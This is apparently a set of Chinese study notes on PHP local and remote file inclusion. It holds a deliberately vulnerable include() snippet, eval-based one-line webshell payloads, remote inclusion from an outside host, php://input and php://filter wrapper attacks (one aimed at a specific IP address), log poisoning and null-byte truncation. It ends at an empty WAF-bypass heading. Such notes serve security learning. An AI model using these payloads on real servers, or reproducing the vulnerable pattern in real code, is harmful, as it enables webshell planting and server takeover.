文件包含函数
require:找不到被包含的文件时会产生致命错误,并停止脚本
include:找不到被包含的文件时只会产生警告,脚本将继续执行
本地包含(LFI)
php文件任何扩展名都可以php解析
非php语法规范源文件,将会暴露其源代码
<?php
include("phpinfo.txt")
?>
远程包含(RFI)
<?php
include($_GET['page'])
?>
访问URL:http:www.xxser.com/index.php?page=http://www.2cto.com/php.txt
攻击方式
1、读取敏感文件
2、远程包含shell
一句话木马http:www.2cto.com/echo.txt
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
http:www.xxser.com/index.php?page=http:www.2cto.com/echo.txt
3、本地包含配合文件上传
一句话图片木马已上传
/uploadfile/201363.jpg
图片代码
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
http:www.xxser.com/index.php?page=./uploadfile/201363.jpg
4、使用php封装协议
使用封装协议读取PHP文件
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
写入PHP文件
构造URL:http:www.xxser.com/index.php?page=php://input,并且提交数据为:<?php system('net user');?>
如果提交<?fputs(fopen("shell.php","w"),"<?php eval($_POST['xxser']);?>")?>
5、包含Apache日志文件
buinsuit <?php phpinfo();?>
在打开的日志文件中包含access.log
6、截断包含
输入%00截断(magic_quotes_gpc=off,否则会被转义)
http:www.xxser.com/Index.php?page=1.jpg%00
7、绕过WAF防火墙